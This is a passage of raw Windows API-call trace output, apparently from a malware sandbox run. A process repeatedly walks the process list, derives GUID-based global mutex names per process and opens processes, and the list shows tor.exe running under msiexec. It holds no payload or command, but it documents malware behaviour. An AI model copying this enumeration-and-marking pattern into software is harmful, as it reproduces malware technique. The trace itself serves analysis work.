lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0115.766] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0115.766] GetLastError () returned 0x0 [0115.766] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0115.766] CloseHandle (hObject=0x13e0) returned 1 [0115.766] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.767] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0115.767] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0115.767] GetLastError () returned 0x0 [0115.767] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0115.767] CloseHandle (hObject=0x13e0) returned 1 [0115.767] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.768] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0115.768] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0115.768] GetLastError () returned 0xb7 [0115.768] CloseHandle (hObject=0x13e0) returned 1 [0115.768] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.769] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0115.769] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0115.769] GetLastError () returned 0x0 [0115.769] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0115.769] CloseHandle (hObject=0x13e0) returned 1 [0115.769] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0115.770] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0115.770] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0115.771] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0115.772] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0115.773] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0115.773] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0115.774] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0115.775] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0115.776] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0115.777] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0115.778] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0115.778] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0115.779] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0115.780] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0115.781] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0115.781] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0115.782] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0115.783] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0115.784] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0115.784] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0115.785] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.786] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0115.787] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.788] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0115.788] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.789] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.790] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.900] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.901] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.902] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0115.903] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0115.903] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0115.903] GetLastError () returned 0xb7 [0115.903] CloseHandle (hObject=0x13e0) returned 1 [0115.903] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0115.904] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0115.904] CloseHandle (hObject=0x13d8) returned 1 [0115.904] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0116.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0116.088] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.089] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.090] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.090] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.091] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.092] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.093] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.093] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.094] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.095] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.096] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.096] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.097] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.098] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.099] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.099] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.100] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.101] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.102] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.102] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.103] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.104] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0116.104] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0116.104] GetLastError () returned 0xb7 [0116.104] CloseHandle (hObject=0x13e0) returned 1 [0116.104] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.105] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0116.105] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0116.105] GetLastError () returned 0xb7 [0116.105] CloseHandle (hObject=0x13e0) returned 1 [0116.105] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.106] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.107] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0116.107] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0116.107] GetLastError () returned 0x0 [0116.107] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0116.107] CloseHandle (hObject=0x13e0) returned 1 [0116.107] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.108] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0116.108] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0116.108] GetLastError () returned 0x0 [0116.108] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0116.108] CloseHandle (hObject=0x13e0) returned 1 [0116.108] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.109] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0116.109] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0116.109] GetLastError () returned 0xb7 [0116.109] CloseHandle (hObject=0x13e0) returned 1 [0116.109] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, 